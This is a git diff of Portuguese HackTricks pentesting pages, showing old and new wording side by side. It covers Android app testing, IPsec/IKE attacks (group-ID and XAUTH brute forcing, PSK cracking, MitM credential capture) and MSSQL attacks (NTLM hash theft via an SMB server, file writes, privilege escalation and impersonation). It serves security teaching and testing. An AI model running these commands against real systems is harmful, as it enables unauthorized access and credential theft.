* [ ] Não se esqueça de que há uma série de [Analisadores Estáticos do Android](android-app-pentesting/#automatic-analysis) que podem ajudar muito durante esta fase.
* [ ] Não se esqueça de que existem muitos [Analisadores Estáticos de Android](android-app-pentesting/#automatic-analysis) que podem ajudar muito durante esta fase.
### [Análise Dinâmica](android-app-pentesting/#dynamic-analysis)
* [ ] Prepare o ambiente ([online](android-app-pentesting/#online-dynamic-analysis), [VM local ou física](android-app-pentesting/#local-dynamic-analysis))
* [ ] Existe algum [vazamento de dados não intencional](android-app-pentesting/#unintended-data-leakage) (logs, copiar/colar, logs de falhas)?
* [ ] Informações confidenciais sendo salvas em bancos de dados SQLite?
* [ ] Atividades expostas exploráveis
* [ ] Provedores de Conteúdo exploráveis
* [ ] Serviços expostos exploráveis
* [ ] Receptores de Transmissão exploráveis
* [ ] O aplicativo está transmitindo informações em texto claro/usando algoritmos fracos? É possível um ataque Man-in-the-Middle?
* [ ] [Informações confidenciais sendo salvas em bancos de dados SQLite](android-app-pentesting/#sqlite-dbs)?
* [ ] [Atividades expostas exploráveis](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
* [ ] [Provedores de Conteúdo exploráveis](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
* [ ] [Serviços expostos exploráveis](android-app-pentesting/#exploiting-services)?
* [ ] [Receptores de Transmissão exploráveis](android-app-pentesting/#exploiting-broadcast-receivers)?
* [ ] O aplicativo está [transmitindo informações em texto claro/usando algoritmos fracos](android-app-pentesting/#insufficient-transport-layer-protection)? é possível um MitM?
* [ ] [Inspeção do tráfego HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
* [ ] Isso é realmente importante, porque se você puder capturar o tráfego HTTP, poderá procurar por vulnerabilidades comuns na Web (Hacktricks tem muitas informações sobre vulnerabilidades na Web).
* [ ] Este é realmente importante, porque se você pode capturar o tráfego HTTP, pode procurar por vulnerabilidades comuns na Web (Hacktricks tem muitas informações sobre vulnerabilidades na Web).
* [ ] Verifique possíveis [Injeções do Lado do Cliente Android](android-app-pentesting/#android-client-side-injections-and-others) (provavelmente alguma análise de código estático ajudará aqui)
* [ ] [Frida](android-app-pentesting/#frida): Apenas Frida, use-o para obter dados dinâmicos interessantes do aplicativo (talvez algumas senhas...)
### Algumas informações de ofuscação/Desofuscação
### Algumas informações de obfuscação/Deobfuscação
* [ ] [Leia aqui](android-app-pentesting/#obfuscating-deobfuscating-code)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente de graça**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -4,33 +4,25 @@
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Informações Básicas
**IPsec** é amplamente reconhecido como a principal tecnologia para garantir a segurança das comunicações entre redes (LAN-to-LAN) e de usuários remotos para o gateway de rede (acesso remoto), servindo como a espinha dorsal das soluções de VPN empresariais.
**IPsec** é amplamente reconhecido como a principal tecnologia para garantir comunicações entre redes (LAN-to-LAN) e de usuários remotos para o gateway de rede (acesso remoto), servindo como a espinha dorsal das soluções de VPN empresariais.
O estabelecimento de uma **associação de segurança (SA)** entre dois pontos é gerenciado pelo **IKE**, que opera sob o guarda-chuva do ISAKMP, um protocolo projetado para autenticação e troca de chaves. Esse processo se desenrola em várias fases:
O estabelecimento de uma **associação de segurança (SA)** entre dois pontos é gerenciado pelo **IKE**, que opera sob o guarda-chuva do ISAKMP, um protocolo projetado para autenticação e troca de chaves. Esse processo se desdobra em várias fases:
- **Fase 1:** Um canal seguro é criado entre dois pontos. Isso é alcançado por meio do uso de uma Chave Pré-Compartilhada (PSK) ou certificados, empregando o modo principal, que envolve três pares de mensagens, ou **modo agressivo**.
- **Fase 1.5:** Embora não seja obrigatória, esta fase, conhecida como Fase de Autenticação Estendida, verifica a identidade do usuário que está tentando se conectar, exigindo um nome de usuário e senha.
- **Fase 2:** Esta fase é dedicada a negociar os parâmetros para garantir a segurança dos dados com **ESP** e **AH**. Isso permite o uso de algoritmos diferentes dos da Fase 1 para garantir **Sigilo Perfeito para Frente (PFS)**, aumentando a segurança.
- **Fase 1.5:** Embora não seja obrigatória, esta fase, conhecida como Fase de Autenticação Estendida, verifica a identidade do usuário que tenta se conectar, exigindo um nome de usuário e senha.
- **Fase 2:** Esta fase é dedicada a negociar os parâmetros para garantir dados com **ESP** e **AH**. Ela permite o uso de algoritmos diferentes dos da Fase 1 para garantir **Sigilo Perfeito para Frente (PFS)**, aumentando a segurança.
**Porta padrão:** 500/udp
@ -62,7 +54,7 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Como você pode ver na resposta anterior, há um campo chamado **AUTH** com o valor **PSK**. Isso significa que a VPN está configurada usando uma chave pré-compartilhada (e isso é realmente bom para um pentester).\
Como você pode ver na resposta anterior, há um campo chamado **AUTH** com o valor **PSK**. Isso significa que a vpn está configurada usando uma chave pré-compartilhada (e isso é realmente bom para um pentester).\
**O valor da última linha também é muito importante:**
* _0 returned handshake; 0 returned notify:_ Isso significa que o alvo **não é um gateway IPsec**.
@ -98,7 +90,7 @@ A Cisco indica evitar o uso dos grupos DH 1 e 2 porque não são suficientemente
### Fingerprinting do servidor
Em seguida, você pode usar o ike-scan para tentar **descobrir o fornecedor** do dispositivo. A ferramenta envia uma proposta inicial e para de retransmitir. Em seguida, ela **analisa** a **diferença de tempo** entre as **mensagens recebidas** do servidor e o padrão de resposta correspondente, o pentester pode identificar com sucesso o fornecedor do gateway VPN. Além disso, alguns servidores VPN usarão o payload opcional **Vendor ID (VID)** com o IKE.
Em seguida, você pode usar o ike-scan para tentar **descobrir o fornecedor** do dispositivo. A ferramenta envia uma proposta inicial e para de retransmitir. Em seguida, ela **analisa** a **diferença de tempo** entre as **mensagens recebidas** do servidor e o padrão de resposta correspondente, o pentester pode identificar com sucesso o fornecedor do gateway VPN. Além disso, alguns servidores VPN usarão o **carga útil de ID de fornecedor (VID) opcional** com o IKE.
**Especifique a transformação válida, se necessário** (usando --trans)
@ -126,12 +118,12 @@ Isso também pode ser alcançado com o script do nmap _**ike-version**_
## Encontrando o ID correto (nome do grupo)
Para poder capturar o hash, você precisa de uma transformação válida que suporte o Modo Agressivo e o ID correto (nome do grupo). Provavelmente você não saberá o nome do grupo válido, então terá que fazer força bruta.\
Para ser permitido capturar o hash, você precisa de uma transformação válida que suporte o Modo Agressivo e o ID correto (nome do grupo). Provavelmente você não saberá o nome do grupo válido, então terá que fazer força bruta.\
Para fazer isso, eu recomendaria 2 métodos:
### Força bruta do ID com ike-scan
### Forçando o ID com o ike-scan
Primeiramente, tente fazer uma solicitação com um ID falso para tentar obter o hash ("-P"):
Primeiramente, tente fazer uma solicitação com um ID falso tentando obter o hash ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
@ -141,7 +133,7 @@ Se **nenhum hash for retornado**, então provavelmente este método de força br
Mas como eu disse, se nenhum hash for retornado, então você deve tentar forçar nomes de grupos comuns usando o ike-scan.
Este script **tentará forçar IDs possíveis** e retornará os IDs onde um handshake válido é retornado (este será um nome de grupo válido).
Este script **tentará forçar IDs possíveis** e retornará os IDs onde um handshake válido é retornado (isso será um nome de grupo válido).
Se você descobriu uma transformação específica, adicione-a no comando ike-scan. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente).
@ -196,20 +188,22 @@ psk-crack -d <Wordlist_path> psk.txt
**Modo Aggressivo IKE** combinado com uma **Chave Pré-Compartilhada (PSK)** é comumente utilizado para fins de **autenticação em grupo**. Este método é complementado pelo **XAuth (Autenticação Estendida)**, que serve para introduzir uma camada adicional de **autenticação de usuário**. Essa autenticação normalmente utiliza serviços como o **Microsoft Active Directory**, **RADIUS**, ou sistemas comparáveis.
Ao migrar para o **IKEv2**, observa-se uma mudança significativa onde o **EAP (Protocolo de Autenticação Extensível)** é utilizado no lugar do **XAuth** com o propósito de autenticar usuários. Essa mudança destaca uma evolução nas práticas de autenticação dentro de protocolos de comunicação seguros.
Ao migrar para o **IKEv2**, observa-se uma mudança significativa onde o **EAP (Protocolo de Autenticação Extensível)** é utilizado no lugar do **XAuth** com o objetivo de autenticar usuários. Essa mudança destaca uma evolução nas práticas de autenticação dentro de protocolos de comunicação seguros.
### MitM na rede local para capturar credenciais
Dessa forma, é possível capturar os dados do login usando o _fiked_ e verificar se há algum nome de usuário padrão (Você precisa redirecionar o tráfego IKE para o `fiked` para sniffing, o que pode ser feito com a ajuda de ARP spoofing, [mais informações](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). O fiked atuará como um ponto final VPN e capturará as credenciais XAuth:
Dessa forma, é possível capturar os dados do login usando o _fiked_ e verificar se há algum nome de usuário padrão (Você precisa redirecionar o tráfego IKE para o `fiked` para sniffing, o que pode ser feito com a ajuda de ARP spoofing, [mais informações](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). O fiked atuará como um ponto final VPN e capturará as credenciais do XAuth:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
Também, usando IPSec tente fazer um ataque de MitM e bloquear todo o tráfego para a porta 500, se o túnel IPSec não puder ser estabelecido, talvez o tráfego seja enviado em texto claro.
### Ataque de MitM e bloqueio de tráfego na porta 500 usando IPSec
Também, utilizando IPSec, tente realizar um ataque de MitM e bloquear todo o tráfego para a porta 500. Se o túnel IPSec não puder ser estabelecido, talvez o tráfego seja enviado sem criptografia.
### Forçando XAUTH username e senha com ikeforce
Para forçar o **XAUTH** (quando você conhece um nome de grupo válido **id** e o **psk**), você pode usar um nome de usuário ou uma lista de nomes de usuários e uma lista de senhas:
Para forçar a **XAUTH** (quando você conhece um nome de grupo válido **id** e o **psk**), você pode usar um nome de usuário ou uma lista de nomes de usuários e uma lista de senhas:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
@ -254,24 +248,18 @@ Certifique-se de usar valores reais e seguros para substituir os espaços reserv
## Shodan
* `porta:500 IKE`
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
* `port:500 IKE`
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -4,9 +4,9 @@
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -14,25 +14,17 @@ Outras maneiras de apoiar o HackTricks:
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Informações Básicas
Do [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
> **Microsoft SQL Server** é um **sistema de gerenciamento de banco de dados relacional** desenvolvido pela Microsoft. Como servidor de banco de dados, é um produto de software com a função principal de armazenar e recuperar dados conforme solicitado por outras aplicações de software - que podem ser executadas no mesmo computador ou em outro computador em uma rede (incluindo a Internet).\
> **Microsoft SQL Server** é um sistema de gerenciamento de banco de dados **relacional** desenvolvido pela Microsoft. Como servidor de banco de dados, é um produto de software com a função principal de armazenar e recuperar dados conforme solicitado por outras aplicações de software - que podem ser executadas no mesmo computador ou em outro computador em uma rede (incluindo a Internet).\
**Porta padrão:** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **Tabelas do Sistema MS-SQL Padrão**
### **Tabelas de Sistema Padrão do MS-SQL**
* **Banco de Dados master**: Este banco de dados é crucial, pois captura todos os detalhes em nível de sistema para uma instância do SQL Server.
* **Banco de Dados msdb**: O SQL Server Agent utiliza este banco de dados para gerenciar o agendamento de alertas e trabalhos.
@ -159,8 +151,8 @@ SELECT * FROM sysusers
- **Esquema** Inclui tabelas, visualizações, procedimentos, funções, sinônimos, etc.
2. **Permissão:** Associada aos securáveis do SQL Server, permissões como ALTER, CONTROL e CREATE podem ser concedidas a um principal. A gestão de permissões ocorre em dois níveis:
- Nível do **Servidor** usando logins
- Nível do **Banco de Dados** usando usuários
- **Nível do Servidor** usando logins
- **Nível do Banco de Dados** usando usuários
3. **Principal:** Este termo refere-se à entidade que recebe permissão para um securável. Os principais incluem principalmente logins e usuários de banco de dados. O controle sobre o acesso aos securáveis é exercido através da concessão ou negação de permissões ou incluindo logins e usuários em funções equipadas com direitos de acesso.
```sql
@ -235,7 +227,7 @@ sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
{% hint style="warning" %}
Você pode verificar se alguém (além dos sysadmins) tem permissão para executar essas funções MSSQL com:
Você pode verificar se quem (além dos sysadmins) tem permissão para executar essas funções MSSQL com:
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
@ -261,7 +253,7 @@ Você pode ver como usar essas ferramentas em:
### **Escrever Arquivos**
Para escrever arquivos usando `MSSQL`, nós **precisamos habilitar** [**Procedimentos de Automação Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), o que requer privilégios de administrador, e então executar alguns procedimentos armazenados para criar o arquivo:
Para escrever arquivos usando `MSSQL`, **precisamos habilitar** [**Procedimentos de Automação Ole**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), o que requer privilégios de administrador, e então executar alguns procedimentos armazenados para criar o arquivo:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -318,7 +310,7 @@ GO
```
### Ler Registro
O Microsoft SQL Server fornece **múltiplos procedimentos armazenados estendidos** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até o [**Registro do Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
O Microsoft SQL Server fornece **múltiplos procedimentos armazenados estendidos** que permitem interagir não apenas com a rede, mas também com o sistema de arquivos e até mesmo o [**Registro do Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)**:**
| **Regular** | **Consciente da Instância** |
| ---------------------------- | -------------------------------------- |
@ -345,27 +337,19 @@ Para **mais exemplos**, confira a [**fonte original**](https://blog.waynesheffie
### RCE com Função Definida pelo Usuário MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
É possível **carregar um arquivo .NET dentro do MSSQL com funções personalizadas**. No entanto, isso **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou uma função de Administrador**.
É possível **carregar um arquivo .NET dentro do MSSQL com funções personalizadas**. No entanto, isso **requer acesso `dbo`**, então você precisa de uma conexão com o banco de dados **como `sa` ou com uma função de Administrador**.
[Clique neste link](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) para ver um exemplo.
### Outras maneiras de obter RCE
### Outras formas de RCE
Existem outros métodos para obter execução de comandos, como adicionar [procedimentos armazenados estendidos](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Assemblies CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Trabalhos do Agente SQL Server](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) e [scripts externos](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
Existem outros métodos para obter execução de comandos, como adicionar [procedimentos armazenados estendidos](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Assemblies CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Trabalhos do SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) e [scripts externos](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## Escalonamento de Privilégios MSSQL
### De db\_owner para sysadmin
Se um **usuário regular** recebe a função **`db_owner`** sobre o **banco de dados de propriedade de um usuário administrador** (como **`sa`**) e esse banco de dados está configurado como **`trustworthy`**, esse usuário pode abusar desses privilégios para **escalada de privilégios** porque **procedimentos armazenados** criados lá podem **executar** como o proprietário (**administrador**).
Se um **usuário regular** recebe a função **`db_owner`** sobre o **banco de dados de propriedade de um administrador** (como **`sa`**) e esse banco de dados está configurado como **`trustworthy`**, esse usuário pode abusar desses privilégios para **escalada de privilégios** porque **procedimentos armazenados** criados lá podem **executar** como o proprietário (**administrador**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -429,7 +413,7 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
{% hint style="info" %}
Se você pode se passar por um usuário, mesmo que ele não seja sysadmin, você deve verificar se o usuário tem acesso a outros bancos de dados ou servidores vinculados.
Observe que uma vez que você é sysadmin, você pode se passar por qualquer outro usuário:
Note que uma vez que você é sysadmin, você pode se passar por qualquer outro usuário:
{% endhint %}
```sql
-- Impersonate RegUser
@ -500,18 +484,6 @@ Provavelmente você será capaz de **escalar para Administrador** seguindo uma d
* [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que são mais importantes para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos da web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Comandos Automáticos do HackTricks
```
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.

View file

@ -6,13 +6,13 @@
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Informações Básicas
## Informação Básica
O **Protocolo de Correio (POP)** é descrito como um protocolo no âmbito de redes de computadores e da Internet, que é utilizado para a extração e **recuperação de e-mails de um servidor de correio remoto**, tornando-os acessíveis no dispositivo local. Posicionado na camada de aplicação do modelo OSI, este protocolo permite aos usuários buscar e receber e-mails. A operação dos **clientes POP** geralmente envolve o estabelecimento de uma conexão com o servidor de correio, o download de todas as mensagens, o armazenamento dessas mensagens localmente no sistema do cliente e posteriormente removê-las do servidor. Embora existam três iterações deste protocolo, o **POP3** se destaca como a versão mais amplamente empregada.
@ -56,7 +56,9 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
```
Exemplo:
### Post Office Protocol (POP)
POP is a protocol used by email clients to retrieve email from a mail server. During a penetration test, you can attempt to brute force POP credentials using tools like Hydra or Metasploit. Additionally, you can use a tool like `pop3-user-enum` to enumerate valid users on a POP server. This information can be useful for further attacks, such as password spraying or targeted phishing campaigns.
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -138,11 +140,8 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<img src="../.gitbook/assets/image (675).png" alt="" data-size="original">
Encontre vulnerabilidades que mais importam para que você possa corrigi-las mais rapidamente. O Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, desde APIs até aplicativos da web e sistemas em nuvem. [**Experimente de graça**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
